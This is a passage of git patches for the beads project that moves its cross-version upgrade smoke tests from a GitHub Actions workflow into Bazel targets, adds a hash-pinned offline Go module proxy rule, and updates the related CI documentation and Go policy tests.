"f66318f08ed66e409fc39363ae0fff8ce6fbf6dba9f5bac632b91527b9632a74", + }, "2.2.0": { "darwin-amd64": "d40b57933e2a2c025a5a3c269eb87594b1aa71ead16c9902213d521529a19b02", "darwin-arm64": "c6737dc2c5806e2eeef4839ad76c28167c861f878af3071df1242a6589d81267", @@ -34,13 +40,14 @@ exports_files(["dolt"]) def _dolt_release_impl(rctx): platform = rctx.attr.platform - digests = DOLT_SHA256.get(DOLT_VERSION) + version = rctx.attr.version or DOLT_VERSION + digests = DOLT_SHA256.get(version) if digests == None: - fail("DOLT_SHA256 has no digests for DOLT_VERSION {}".format(DOLT_VERSION)) + fail("DOLT_SHA256 has no digests for dolt {}".format(version)) if platform not in digests: - fail("no pinned dolt {} release for platform {}".format(DOLT_VERSION, platform)) + fail("no pinned dolt {} release for platform {}".format(version, platform)) url = "https://github.com/dolthub/dolt/releases/download/v{v}/dolt-{p}.tar.gz".format( - v = DOLT_VERSION, + v = version, p = platform, ) rctx.download_and_extract( @@ -59,8 +66,11 @@ dolt_release = repository_rule( mandatory = True, doc = "Release platform suffix, for example linux-amd64.", ), + "version": attr.string( + doc = "Dolt release to fetch (a DOLT_SHA256 key); empty means DOLT_VERSION.", + ), }, - doc = "Downloads the pinned Dolt CLI release for one platform and exports its `dolt` binary.", + doc = "Downloads a pinned Dolt CLI release for one platform and exports its `dolt` binary.", ) def _hermetic_bin_impl(ctx): diff --git a/tools/bazel/go_module_proxy.bzl b/tools/bazel/go_module_proxy.bzl new file mode 100644 index 000000000..ce093013b --- /dev/null +++ b/tools/bazel/go_module_proxy.bzl @@ -0,0 +1,55 @@ +"""An offline Go module proxy tree, for building a pinned historical module. + +go_module_proxy reads a lock file (tests/migration/source_tag_modules.json, +written by tests/migration/gen_source_tag_lock.py) and downloads every .mod +and .zip it lists from proxy.golang.org, each verified against its recorded +sha256, into proxy//@v/.{mod,zip} (plus a .info naming the +version): the layout a +`GOPROXY=file:///proxy` reads. A build action then needs no network, +and go additionally checks every dependency against the module's own go.sum. +The repository exports the tree as :proxy. +""" + +_PROXY = "https://proxy.golang.org" + +_BUILD = """\ +filegroup( + name = "proxy", + srcs = glob(["proxy/**"]), + visibility = ["//visibility:public"], +) +""" + +def _escape(path): + # Module path case-encoding (go.dev/ref/mod#goproxy-protocol). + out = "" + for c in path.elems(): + out += "!" + c.lower() if c.isupper() else c + return out + +def _go_module_proxy_impl(rctx): + lock = json.decode(rctx.read(rctx.attr.lock)) + for m in lock["modules"]: + rel = "{}/@v/{}".format(_escape(m["path"]), m["version"]) + for ext, key in ((".mod", "mod_sha256"), (".zip", "zip_sha256")): + if key not in m: + continue + url = "{}/{}{}".format(_PROXY, rel, ext) + rctx.download( + url = url, + output = "proxy/{}{}".format(rel, ext), + sha256 = m[key], + canonical_id = url, + ) + # .info only names the version (the proxy's also carries a commit + # time); `go mod download module@version` reads it, the build does not. + rctx.file("proxy/{}.info".format(rel), json.encode({"Version": m["version"]}) + "\n") + rctx.file("BUILD.bazel", _BUILD) + +go_module_proxy = repository_rule( + implementation = _go_module_proxy_impl, + attrs = { + "lock": attr.label(mandatory = True, allow_single_file = True, doc = "The module lock JSON."), + }, + doc = "Downloads the sha256-pinned module proxy files a lock file lists into a file:// GOPROXY tree.", +) From bb9b9e502023f8bbd115961f55f8ff724e07d78b Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Wed, 7 Oct 2026 02:49:39 +0000 Subject: [PATCH 029/213] ci(bazel): run the upgrade smoke tests under Bazel; retire cross-version-smoke.yml (#7331) cross-version-smoke.yml resolved the newest 5 GitHub releases (30 on a tag push) with `gh release list`, then built the candidate and downloaded each release on a GitHub runner for scripts/upgrade-smoke-test.sh. //tests/upgrade_smoke has one target per release in the newest 30 the release catalog pins a linux/amd64 asset for (@bd_releases//:versions.bzl): upgrade_smoke__test runs the script against the non-race bd_for_tests with that release pinned as PREV_BIN (sha256-verified when Bazel fetches it; the script checks it reports the release and downloads nothing). A release added to the catalog joins the window. Tagged pr-core-only, so bazel-test (not the integration lane) runs them remotely on every PR, merge group and push, cached until the candidate, the script or the release changes. The tested set is now reviewed rather than resolved at run time: stable releases from the catalog, where the workflow took GitHub releases including prereleases. cross-version-smoke.yml and the F7c checks of its chunk fold, path filter, runners and binary cache are removed (the path-filter and binary-cache checks had no other workflow left). Refs: ga-96smfk.19 Co-authored-by: Claude Opus 5.5 (1M context) --- .github/workflows/cross-version-smoke.yml | 175 ------------ BUILD.bazel | 2 + cmd/bd/BUILD.bazel | 1 + engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md | 30 +-- engdocs/CI_TEST_SURFACE_AUDIT.md | 2 +- engdocs/ICU-POLICY.md | 2 +- internal/httpclient/wire/skew_test.go | 2 +- scripts/BUILD.bazel | 5 + scripts/ci_f7c_advisory_test.go | 309 +--------------------- scripts/ci_workflow_test.go | 12 +- scripts/upgrade-smoke-test.sh | 11 + tests/upgrade_smoke/BUILD.bazel | 43 +++ tests/upgrade_smoke/defs.bzl | 32 +++ tests/upgrade_smoke/upgrade_smoke_test.sh | 17 ++ 14 files changed, 148 insertions(+), 495 deletions(-) delete mode 100644 .github/workflows/cross-version-smoke.yml create mode 100644 tests/upgrade_smoke/BUILD.bazel create mode 100644 tests/upgrade_smoke/defs.bzl create mode 100755 tests/upgrade_smoke/upgrade_smoke_test.sh diff --git a/.github/workflows/cross-version-smoke.yml b/.github/workflows/cross-version-smoke.yml deleted file mode 100644 index 938410be8..000000000 --- a/.github/workflows/cross-version-smoke.yml +++ /dev/null @@ -1,175 +0,0 @@ -name: Cross-Version Smoke Tests - -on: - # On tag push (release gate): test the last 30 releases for broad regression coverage - push: - tags: - - 'v*' - - # On PR to main or a release branch: test only the last 5 releases for fast - # feedback. Release-targeted PRs are exactly the ones where cross-version - # upgrade breakage is most expensive to discover at tag time. - pull_request: - branches: [ main, 'release/**', 'hotfix/**' ] - # "Upgrade-relevant code" allowlist (spec-f7.md §2.4): kept identical - # (modulo each workflow's own file/script entries) across conformance.yml, - # migration-test.yml and cross-version-smoke.yml, and pinned by - # TestAdvisoryWorkflowPathFilters. - paths: - - '**.go' - - '!**_test.go' - - 'go.mod' - - 'go.sum' - - 'Makefile' - - '.buildflags' - # Embedded into the binary (go:embed in internal/storage/schema), so a - # migration-only change is an upgrade-relevant code change. - - 'internal/storage/schema/migrations/**' - - '.github/workflows/cross-version-smoke.yml' - - 'scripts/upgrade-smoke-test.sh' - - # Allow manual trigger with custom version count - workflow_dispatch: - inputs: - version_count: - description: 'Number of previous releases to test against' - required: false - default: '5' - -concurrency: - group: ${{ github.workflow }}-${{ github.event_name }}-${{ github.event.pull_request.number || github.ref }} - cancel-in-progress: true - -env: - BD_DISABLE_METRICS: "1" - BD_DISABLE_EVENT_FLUSH: "1" - -jobs: - # F7c: smoke's old 1-job-per-version matrix (up to 30 on tag push) folded - # into chunks of 5 versions each, resolved by the `versions` job below. Each - # chunk builds the candidate binary once and loops over - # upgrade-smoke-test.sh's own SMOKE_VERSIONS env var (which already - # self-reinvokes per version and collects failures, so a bad version in a - # chunk does not hide the rest). - smoke: - name: Upgrade smoke (chunk ${{ strategy.job-index }}) - runs-on: ${{ (github.event_name == 'merge_group' || (github.event_name == 'pull_request' && github.event.pull_request.head.repo.full_name == github.repository && github.actor != 'dependabot[bot]')) && 'blacksmith-4vcpu-ubuntu-2404' || 'ubuntu-latest' }} - timeout-minutes: 20 - - strategy: - fail-fast: false - matrix: - chunk: ${{ fromJson(needs.versions.outputs.chunks) }} - - needs: versions - - steps: - - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 - - - name: Set up Go - id: setup-go - uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # v7.0.0 - with: - go-version-file: 'go.mod' - cache: ${{ runner.environment == 'github-hosted' }} - - # F7c review fix S5: this job's own key copy must match main.yml's - # seeder key byte-for-byte (TestBlacksmithSetupGoCacheKeysMatchAcrossSeederAndConsumers), - # which now keys by UTC calendar day instead of github.sha so main - # pushes don't churn a multi-GB cache entry on every commit; this step - # computes that same day value locally so the key expression below - # resolves (steps.* references only resolve within the same job). - - name: Compute cache date - id: cache-date - if: runner.environment == 'self-hosted' - run: echo "today=$(date -u +%Y%m%d)" >> "$GITHUB_OUTPUT" - - - name: Restore Blacksmith setup-go cache - if: runner.environment == 'self-hosted' - uses: actions/cache/restore@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0 - with: - path: | - ~/go/pkg/mod - ~/.cache/go-build - key: blacksmith-sg-v1-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-${{ hashFiles('go.sum') }}-${{ steps.cache-date.outputs.today }} - restore-keys: | - blacksmith-sg-v1-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-${{ hashFiles('go.sum') }}- - blacksmith-sg-v1-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}- - - - name: Configure Git - run: | - git config --global user.name "CI Bot" - git config --global user.email "ci@beads.test" - - - name: Compute chunk cache key - id: chunk - env: - CHUNK_JSON: ${{ toJson(matrix.chunk) }} - run: | - versions="$(jq -r '. | join(" ")' <<<"$CHUNK_JSON")" - hash="$(printf '%s' "$versions" | sha256sum | cut -c1-16)" - echo "versions=$versions" >> "$GITHUB_OUTPUT" - echo "hash=$hash" >> "$GITHUB_OUTPUT" - - # actions/cache (bare) auto-saves at job end on any key miss, which - # would let a same-repo PR that changes the chunk's version set write a - # binaries cache entry another PR (or a later run) could then read back - # without re-downloading or re-verifying it. Restore-only here; the - # matching save below is gated off pull_request so only push/dispatch - # runs can populate this cache (B2, F7c implementation report). - - name: Restore previous release binaries cache - uses: actions/cache/restore@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v5 - with: - path: ~/.cache/beads-regression - key: smoke-binaries-${{ steps.chunk.outputs.hash }}-${{ runner.os }} - - - name: Build candidate binary - run: go build -tags gms_pure_go -o /tmp/bd-candidate ./cmd/bd - - - name: Run upgrade smoke tests - env: - CANDIDATE_BIN: /tmp/bd-candidate - SMOKE_VERSIONS: ${{ steps.chunk.outputs.versions }} - run: ./scripts/upgrade-smoke-test.sh - - - name: Save previous release binaries cache - # Allow-list the two triggers this workflow actually intends to - # write from (push, workflow_dispatch), rather than deny-listing - # pull_request: a deny-list of `!= 'pull_request'` also admits a - # hypothetical future merge_group event, which this job's own - # runs-on expression already resolves to Blacksmith for - exactly - # the same same-repo-writer risk X1 closed for pull_request. Pinned - # by TestBlacksmithReachableAdvisoryJobsNeverSaveACache, which checks - # both the pull_request and merge_group trust contexts independently. - if: github.event_name == 'push' || github.event_name == 'workflow_dispatch' - uses: actions/cache/save@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v5 - with: - path: ~/.cache/beads-regression - key: smoke-binaries-${{ steps.chunk.outputs.hash }}-${{ runner.os }} - - versions: - name: Resolve versions to test - runs-on: ${{ (github.event_name == 'merge_group' || (github.event_name == 'pull_request' && github.event.pull_request.head.repo.full_name == github.repository && github.actor != 'dependabot[bot]')) && 'blacksmith-2vcpu-ubuntu-2404' || 'ubuntu-latest' }} - timeout-minutes: 5 - outputs: - chunks: ${{ steps.resolve.outputs.chunks }} - steps: - - name: Resolve release versions - id: resolve - env: - GH_TOKEN: ${{ github.token }} - # Tag push and manual dispatch test more versions; PRs test fewer for speed - VERSION_COUNT: ${{ (github.event_name == 'push' && '30') || (github.event_name == 'workflow_dispatch' && inputs.version_count) || '5' }} - run: | - VERSIONS=$(gh release list \ - --repo gastownhall/beads \ - --limit "$VERSION_COUNT" \ - --json tagName \ - --jq '[.[].tagName]') - # Chunks of 5: PRs (5 versions) get 1 chunk; tag pushes (30 - # versions) get 6. Folds the old 1-job-per-version matrix down to - # one job per chunk in `smoke` above, without dropping any version. - CHUNKS=$(jq -c '[range(0; length; 5) as $i | .[$i:$i+5]]' <<<"$VERSIONS") - echo "chunks=$CHUNKS" >> "$GITHUB_OUTPUT" - echo "Testing versions: $VERSIONS" - echo "Chunks: $CHUNKS" diff --git a/BUILD.bazel b/BUILD.bazel index 9916ecbfd..1cb1bcf75 100644 --- a/BUILD.bazel +++ b/BUILD.bazel @@ -24,6 +24,7 @@ exports_files( visibility = [ "//scripts/pr-lint:__pkg__", "//scripts/prlintmake:__pkg__", + "//tests/upgrade_smoke:__pkg__", ], ) @@ -376,6 +377,7 @@ filegroup( "//test/testmainconvention:repo_files", "//tests/migration:repo_files", "//tests/regression:repo_files", + "//tests/upgrade_smoke:repo_files", "//third_party/cc_toolchain:repo_files", "//third_party/patches:repo_files", "//tools/bazel:repo_files", diff --git a/cmd/bd/BUILD.bazel b/cmd/bd/BUILD.bazel index a6bac3a6d..259324933 100644 --- a/cmd/bd/BUILD.bazel +++ b/cmd/bd/BUILD.bazel @@ -497,6 +497,7 @@ go_binary( "//test/conformance:__pkg__", "//tests/migration:__pkg__", "//tests/regression:__pkg__", + "//tests/upgrade_smoke:__pkg__", ], ) diff --git a/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md b/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md index e1d25ed7b..78218e20f 100644 --- a/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md +++ b/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md @@ -157,9 +157,11 @@ Current PR-related workflow names: PR, merge group and push to `main` (results cached until its inputs change), against the catalog-pinned `@bd_releases//:v0.49.6` baseline and a hermetic dolt sql-server. -- `.github/workflows/cross-version-smoke.yml`: `Cross-Version Smoke Tests` - Runs on every PR to `main`, tag pushes, and manual dispatch. Does not - currently run on `merge_group`. +- The upgrade smoke tests (`scripts/upgrade-smoke-test.sh`, formerly + `cross-version-smoke.yml`) are `//tests/upgrade_smoke:upgrade_smoke__test`, + one per release in the newest 30 the release catalog pins, which + `bazel.yml`'s `bazel-test` lane runs on every PR, merge group and push to + `main` (cached until their inputs change). - `.github/workflows/nix-build.yml`: `nix build` Uses workflow-level `paths` filters on `pull_request` and `push`. This workflow must not be directly required. @@ -339,7 +341,8 @@ PR. It runs in the default branch's cache scope, which `push` runs on binaries); - the `beads-go-build-v2-*` GOCACHE entries restored by `main.yml` and `pr.yml`; - - the executables in `smoke-binaries-*` and `historical-dolt-*`. + - the executables in `smoke-binaries-*` and `historical-dolt-*` (both + retired with their workflows). GitHub's read-only default covers all of them. Hardening `release.yml` with `cache: false` is tracked separately. @@ -660,10 +663,6 @@ Do not require these existing check names directly: - `Test (Windows - smoke)` - `PR Lint (native)`, `PR Lint (windows)` and `PR Lint (darwin)` - `Test Nix Flake` -- `Upgrade smoke (chunk N)` (F7c: folded from one job per version into one job - per 5-version chunk; still never require a matrix-expanded chunk job - directly) -- `Resolve versions to test` - `Bazel / test` and the other jobs of `bazel.yml` - `Bazel Farm / *` (`bazel-farm.yml`'s advisory, PR-controlled results) @@ -1386,13 +1385,14 @@ PRs that don't touch Nix or Go module files. ### Cross-Version Smoke -`Cross-Version Smoke Tests` should remain non-required for ordinary PRs unless -maintainers explicitly choose to pay that cost in the aggregate gate. If it -becomes required, add `merge_group` and put it behind a detector plus aggregate -inside the required topology. Do not require matrix-expanded -`Upgrade smoke (chunk N)` jobs directly (F7c folded the old one-job-per-version -matrix into one job per 5-version chunk; the per-chunk job name changed but -the "do not require individually" guidance is unchanged). +`cross-version-smoke.yml` is retired. Its suite runs as +`//tests/upgrade_smoke/...` inside `bazel-test`, which `CI Gate / Required` +requires, so it now gates PRs and merge groups through the aggregate. Each +target pins its previous release from the release catalog (`@bd_releases`) +instead of resolving `gh release list` at run time, so the tested set is +reviewed: the newest 30 stable releases with a linux/amd64 asset, where the +workflow tested the newest 5 GitHub releases (prereleases included) on PRs +and 30 on tag pushes. ## Merge Queue diff --git a/engdocs/CI_TEST_SURFACE_AUDIT.md b/engdocs/CI_TEST_SURFACE_AUDIT.md index 18a805381..202b0dd33 100644 --- a/engdocs/CI_TEST_SURFACE_AUDIT.md +++ b/engdocs/CI_TEST_SURFACE_AUDIT.md @@ -200,7 +200,7 @@ Key jobs preserved by display name: | Workflow | Triggers | Main validation | |---|---|---| | `bazel.yml` `bazel-cmd-dolt` (formerly `regression.yml`) | PR, merge group, push to `main` | `//tests/regression:regression_test` (8 shards, cached until its inputs change) against the catalog-pinned v0.49.6 baseline; local entrypoint stays `make test-regression`. | -| `cross-version-smoke.yml` | Tags, PRs, manual | PRs test latest 5 releases, tags test latest 30, via `scripts/upgrade-smoke-test.sh`. | +| `bazel.yml` `bazel-test` (formerly `cross-version-smoke.yml`) | PR, merge group, push to `main` | `//tests/upgrade_smoke:upgrade_smoke__test` for the newest 30 catalog-pinned releases, via `scripts/upgrade-smoke-test.sh` with `PREV_BIN`; cached until their inputs change. | | `bazel.yml` `bazel-test` (formerly `migration-test.yml`) | PR, merge group, push to `main` | `//tests/migration:historical_upgrade__test`, one target per reviewed release (14, v0.9.1 source-built offline) plus `legacy_bridge_test`, against catalog-pinned release binaries; cached until their inputs change. Local entrypoint stays `scripts/migration-test/run.sh`. | | `nightly.yml` | Daily schedule, manual | `go test -v -race -tags=integration,gms_pure_go -coverprofile=coverage.out -timeout=30m ./...` with `BEADS_TEST_SKIP=dolt`; checks coverage >= 30%. | | `nix-build.yml` | Push to `main` paths for Nix or Go module files, manual | `nix build .#default --print-build-logs`; no longer runs on `pull_request` (F7c, spec-f7.md §2.4) since PR Risk's required `test-nix` job (`nix run .#default` plus `nix flake check -L`) is a superset. | diff --git a/engdocs/ICU-POLICY.md b/engdocs/ICU-POLICY.md index 5939860d6..4eac25f12 100644 --- a/engdocs/ICU-POLICY.md +++ b/engdocs/ICU-POLICY.md @@ -57,7 +57,7 @@ Every build path that produces a binary for users must include `-tags gms_pure_g | macOS release | `.github/workflows/release.yml` | | Migration tests | `//tests/migration/...` (Bazel, `bazel.yml` `bazel-test`) | | Nightly tests | `.github/workflows/nightly.yml` | -| Cross-version smoke | `.github/workflows/cross-version-smoke.yml` | +| Cross-version smoke | `//tests/upgrade_smoke/...` (Bazel, `bazel.yml` `bazel-test`) | | Regression tests | `//tests/regression:regression_test` (Bazel, `bazel.yml` `bazel-cmd-dolt`) | ### Canonical pattern: source `.buildflags` diff --git a/internal/httpclient/wire/skew_test.go b/internal/httpclient/wire/skew_test.go index bf431d7c8..04b023171 100644 --- a/internal/httpclient/wire/skew_test.go +++ b/internal/httpclient/wire/skew_test.go @@ -31,7 +31,7 @@ import ( // // The split is the design's (test-lane map, the skew rows): the deterministic, // in-process half runs at PR cadence here, and the released-binary composition -// half runs in cross-version-smoke.yml. Neither substitutes for the other — +// half runs in //tests/upgrade_smoke. Neither substitutes for the other — // this half owns the branches, that half owns the reality check. // // Three skew directions are covered, and they fail in different ways: diff --git a/scripts/BUILD.bazel b/scripts/BUILD.bazel index b4efd8902..443631a45 100644 --- a/scripts/BUILD.bazel +++ b/scripts/BUILD.bazel @@ -125,6 +125,11 @@ filegroup( visibility = ["//tests/migration:__pkg__"], ) +exports_files( + ["upgrade-smoke-test.sh"], + visibility = ["//tests/upgrade_smoke:__pkg__"], +) + exports_files( [ "ci/fmt-check.sh", diff --git a/scripts/ci_f7c_advisory_test.go b/scripts/ci_f7c_advisory_test.go index 100d2e776..517220025 100644 --- a/scripts/ci_f7c_advisory_test.go +++ b/scripts/ci_f7c_advisory_test.go @@ -1,10 +1,7 @@ package scripts_test import ( - "encoding/json" "fmt" - "os/exec" - "regexp" "sort" "strings" "testing" @@ -13,49 +10,13 @@ import ( ) // F7c (spec-f7.md §2.4, §4.3): advisory workflows moved onto a same-repo-PR -// Blacksmith runner, gained a shared "upgrade-relevant code" path filter, and -// had their matrices folded (Migration Test Harness 14 -> 3, Cross-Version -// Smoke 6 -> 2). These tests pin the invariants that make those changes safe: -// the path filter is identical where it should be, no historical version or -// scenario was dropped by a fold, no advisory job can read a secret just -// because it now names a Blacksmith label, and the Blacksmith-side setup-go -// seed in main.yml actually exists for the jobs that depend on it. - -// advisoryPathFilteredWorkflows are the workflows that share the -// "upgrade-relevant code" allowlist verbatim, save for each one's own -// workflow-file and script entries (spec-f7.md §2.4). conformance.yml and -// migration-test.yml were the others until their tiers moved to Bazel -// (embeddeddolt_conformance_*, //test/conformance:conformance_test, -// //tests/migration). -var advisoryPathFilteredWorkflows = []string{ - "cross-version-smoke.yml", -} - -// advisoryPathFilterBase is the shared prefix of the allowlist: any non-test -// Go change, build input, or embedded schema migration. It must appear, in -// this order, at the start of each of advisoryPathFilteredWorkflows' -// pull_request.paths list. -var advisoryPathFilterBase = []string{ - "**.go", - "!**_test.go", - "go.mod", - "go.sum", - "Makefile", - ".buildflags", - // The .up.sql files are go:embed'd by internal/storage/schema, so they - // change upgrade behavior without matching "**.go"; a migration that - // ships with only a _test.go beside it would otherwise skip all three. - "internal/storage/schema/migrations/**", -} - -// advisoryPathFilterOwnEntries is each workflow's own file/script additions, -// appended after advisoryPathFilterBase. -var advisoryPathFilterOwnEntries = map[string][]string{ - "cross-version-smoke.yml": { - ".github/workflows/cross-version-smoke.yml", - "scripts/upgrade-smoke-test.sh", - }, -} +// Blacksmith runner. These tests pin the invariants that make that safe: no +// advisory job can read a secret just because it now names a Blacksmith +// label, and the Blacksmith-side setup-go seed in main.yml actually exists +// for the jobs that depend on it. The path-filtered upgrade suites F7c folded +// (Migration Test Harness, Cross-Version Smoke) and their filter and fold +// checks are gone: those suites run under Bazel (//tests/migration, +// //tests/upgrade_smoke). type pullRequestPaths struct { On struct { @@ -93,42 +54,6 @@ func readPushPaths(t *testing.T, file string) []string { return parsed.On.Push.Paths } -// TestAdvisoryWorkflowPathFiltersAreIdentical pins that the shared base of -// the "upgrade-relevant code" allowlist is byte-for-byte identical, in the -// same order, across all three workflows it applies to. GitHub Actions has no -// cross-file include for `on:` triggers, so this is the fallback the spec -// explicitly allows: identical literal lists plus a policy test asserting -// they stay identical (spec-f7.md §2.4). -func TestAdvisoryWorkflowPathFiltersAreIdentical(t *testing.T) { - for _, file := range advisoryPathFilteredWorkflows { - paths := readPullRequestPaths(t, file) - if len(paths) < len(advisoryPathFilterBase) { - t.Fatalf("%s pull_request.paths = %v, too short to hold the shared base %v", file, paths, advisoryPathFilterBase) - } - got := paths[:len(advisoryPathFilterBase)] - for i, want := range advisoryPathFilterBase { - if got[i] != want { - t.Errorf("%s pull_request.paths[%d] = %q, want %q (shared base must match byte-for-byte and in order)", file, i, got[i], want) - } - } - } -} - -// TestAdvisoryWorkflowPathFiltersCoverOwnInputs pins that each workflow also -// allowlists its own workflow file and the scripts/fixtures it actually -// exercises, so an edit to e.g. scripts/upgrade-smoke-test.sh is never silently -// skipped by the filter that was added to cut unrelated-PR load. -func TestAdvisoryWorkflowPathFiltersCoverOwnInputs(t *testing.T) { - for file, want := range advisoryPathFilterOwnEntries { - paths := readPullRequestPaths(t, file) - for _, entry := range want { - if !contains(paths, entry) { - t.Errorf("%s pull_request.paths %v does not contain its own entry %q", file, paths, entry) - } - } - } -} - // TestNixBuildDropsPullRequestTriggerNotPushOrDispatch pins the one // "delete the pull_request trigger" trigger change in F7c: nix-build.yml's // PR coverage is fully redundant with PR Risk's required test-nix job (which @@ -199,137 +124,11 @@ func sortedCopy(items []string) []string { return out } -// --- Cross-Version Smoke: 6 -> 2 jobs, chunks of 5, no version dropped ---- - -// ghExtractJQProgram pulls the single-quoted jq program out of a standalone -// `jq - ''` invocation inside a step's `run:` text, so a test -// can execute the REAL program with `jq` directly instead of asserting on a -// substring of the surrounding bash. The flag group is required (one or -// more) specifically so this does not also match `gh`'s own `--jq -// '[.[].tagName]'` filter, which has no `-c`/`-r` flag of its own between -// "jq" and the quoted program. None of this repo's embedded jq programs -// contain a literal single quote, so a non-greedy single-quote match is -// sufficient. -var jqProgramPattern = regexp.MustCompile(`jq(?: -[A-Za-z]+)+ '([^']*)'`) - -func ghExtractJQProgram(t *testing.T, run string) string { - t.Helper() - m := jqProgramPattern.FindStringSubmatch(run) - if m == nil { - t.Fatalf("no `jq '...'` invocation found in:\n%s", run) - } - return m[1] -} - -func runJQ(t *testing.T, program string, stdin string) string { - t.Helper() - requireHostTool(t, "jq") - cmd := exec.Command("jq", "-c", program) - cmd.Stdin = strings.NewReader(stdin) - out, err := cmd.CombinedOutput() - if err != nil { - t.Fatalf("jq -c %q <<<%q: %v\n%s", program, stdin, err, out) - } - return strings.TrimSpace(string(out)) -} - -// TestCrossVersionSmokeChunksEveryResolvedVersion runs the REAL jq programs -// embedded in the "Resolve release versions" and "Compute chunk cache key" -// steps against synthetic version lists, instead of asserting on their -// source text (F7c review fix S1, closes mutation M6 `[range(0; length; 5) -// as $i | .[$i:$i+4]]` off-by-one and M7 jq-slice-dropping-versions -// mutations): every resolved version must appear in exactly one chunk, no -// chunk may exceed 5 versions, and the chunk-key step's join must reproduce -// every version in its chunk, in order, space-separated. -func TestCrossVersionSmokeChunksEveryResolvedVersion(t *testing.T) { - workflow := readCIWorkflow(t, "cross-version-smoke.yml") - - versionsJob := workflow.job(t, "versions") - resolve := versionsJob.step(t, "Resolve release versions") - chunkProgram := ghExtractJQProgram(t, resolve.Run) - if versionsJob.Outputs["chunks"] == "" { - t.Errorf("cross-version-smoke.yml's versions job has no chunks output") - } - - for _, n := range []int{0, 1, 4, 5, 6, 9, 10, 29, 30} { - versions := make([]string, 0, n) - for i := 0; i < n; i++ { - versions = append(versions, fmt.Sprintf("v0.%d.0", i)) - } - versionsJSON, err := json.Marshal(versions) - if err != nil { - t.Fatal(err) - } - var chunks [][]string - if err := json.Unmarshal([]byte(runJQ(t, chunkProgram, string(versionsJSON))), &chunks); err != nil { - t.Fatalf("n=%d: chunk output did not parse as [][]string: %v", n, err) - } - wantChunks := (n + 4) / 5 - if n == 0 { - wantChunks = 0 - } - if len(chunks) != wantChunks { - t.Errorf("n=%d: got %d chunks, want %d", n, len(chunks), wantChunks) - } - var flat []string - for _, c := range chunks { - if len(c) > 5 { - t.Errorf("n=%d: chunk %v has more than 5 versions", n, c) - } - flat = append(flat, c...) - } - if !equalStrings(flat, versions) { - t.Errorf("n=%d: concatenated chunks = %v, want exactly the resolved version list %v in order", n, flat, versions) - } - } - - smokeJob := workflow.job(t, "smoke") - if !contains(smokeJob.Needs, "versions") { - t.Errorf("cross-version-smoke.yml's smoke job does not need versions") - } - - chunkKeyStep := smokeJob.step(t, "Compute chunk cache key") - joinProgram := ghExtractJQProgram(t, chunkKeyStep.Run) - for _, chunk := range [][]string{ - {"v1.2.2"}, - {"v1.0.0", "v1.0.1", "v1.1.0", "v1.1.2", "v1.2.2"}, - } { - chunkJSON, err := json.Marshal(chunk) - if err != nil { - t.Fatal(err) - } - got := strings.Trim(runJQ(t, joinProgram, string(chunkJSON)), `"`) - want := strings.Join(chunk, " ") - if got != want { - t.Errorf("chunk-key join(%v) = %q, want %q", chunk, got, want) - } - } - - buildStep := smokeJob.stepIndex(t, "Build candidate binary") - runStep := smokeJob.stepIndex(t, "Run upgrade smoke tests") - if buildStep >= runStep { - t.Errorf("Build candidate binary (index %d) must run before Run upgrade smoke tests (index %d), so the candidate is built once per chunk, not once per version", buildStep, runStep) - } - - run := smokeJob.step(t, "Run upgrade smoke tests") - if run.Env["SMOKE_VERSIONS"] != "${{ steps.chunk.outputs.versions }}" { - t.Errorf("cross-version-smoke.yml's smoke job SMOKE_VERSIONS = %q, want the chunk step's versions output", run.Env["SMOKE_VERSIONS"]) - } - // Exact match (not a substring check, F7c review fix S1): the whole point - // of SMOKE_VERSIONS is that upgrade-smoke-test.sh's own loop consumes it; - // any extra positional arg (e.g. a reintroduced matrix.prev_version) would - // silently make the script test only one version per chunk again. - if want := "./scripts/upgrade-smoke-test.sh"; strings.TrimSpace(run.Run) != want { - t.Errorf("cross-version-smoke.yml's Run upgrade smoke tests run = %q, want exactly %q", run.Run, want) - } -} - // --- Security: no job gains a secret just by naming a Blacksmith label ---- // blacksmithAdvisoryWorkflows are every workflow file F7c moved a job onto a // same-repo-PR (or push-only, for main.yml's seed) Blacksmith runner. var blacksmithAdvisoryWorkflows = []string{ - "cross-version-smoke.yml", "docs-mintlify.yml", "main.yml", } @@ -379,8 +178,6 @@ var advisoryBlacksmithRunnerJobs = []struct { blacksmithLabel string fallback string }{ - {"cross-version-smoke.yml", "smoke", "blacksmith-4vcpu-ubuntu-2404", "ubuntu-latest"}, - {"cross-version-smoke.yml", "versions", "blacksmith-2vcpu-ubuntu-2404", "ubuntu-latest"}, {"docs-mintlify.yml", "broken-links", "blacksmith-2vcpu-ubuntu-2404", "ubuntu-latest"}, } @@ -446,16 +243,13 @@ func TestF7cAdvisorySameRepoBlacksmithExpressionSemantics(t *testing.T) { // blacksmithSetupGoCacheConsumers is every advisory job that restores the // self-defined `blacksmith-sg-v1-` setup-go cache main.yml's // blacksmith-setup-go-cache job seeds (B2, F7c implementation report). -var blacksmithSetupGoCacheConsumers = map[string][]string{ - "cross-version-smoke.yml": {"smoke"}, -} +var blacksmithSetupGoCacheConsumers = map[string][]string{} // blacksmithSetupGoCacheKeyNamespace is the self-defined cache key prefix // (not setup-go's own implicit key) that the seeder and every consumer share, // so the "no save in a consumer job" checks below can scope to exactly this -// cache without also flagging an unrelated, legitimately-caching step (a -// binary cache with a distinct restore/save pair of its own - see -// advisoryBinaryCaches below). +// cache without also flagging an unrelated, legitimately-caching step in +// another namespace. const blacksmithSetupGoCacheKeyNamespace = "blacksmith-sg-v1-" // TestBlacksmithSetupGoSeedExistsForAdvisoryConsumers pins that main.yml's @@ -636,10 +430,10 @@ func TestMainWorkflowHasNoSameRepoPRReachableTrigger(t *testing.T) { // main.yml's seeder may ever write it, so a same-repo PR run can read the // cache but never poison 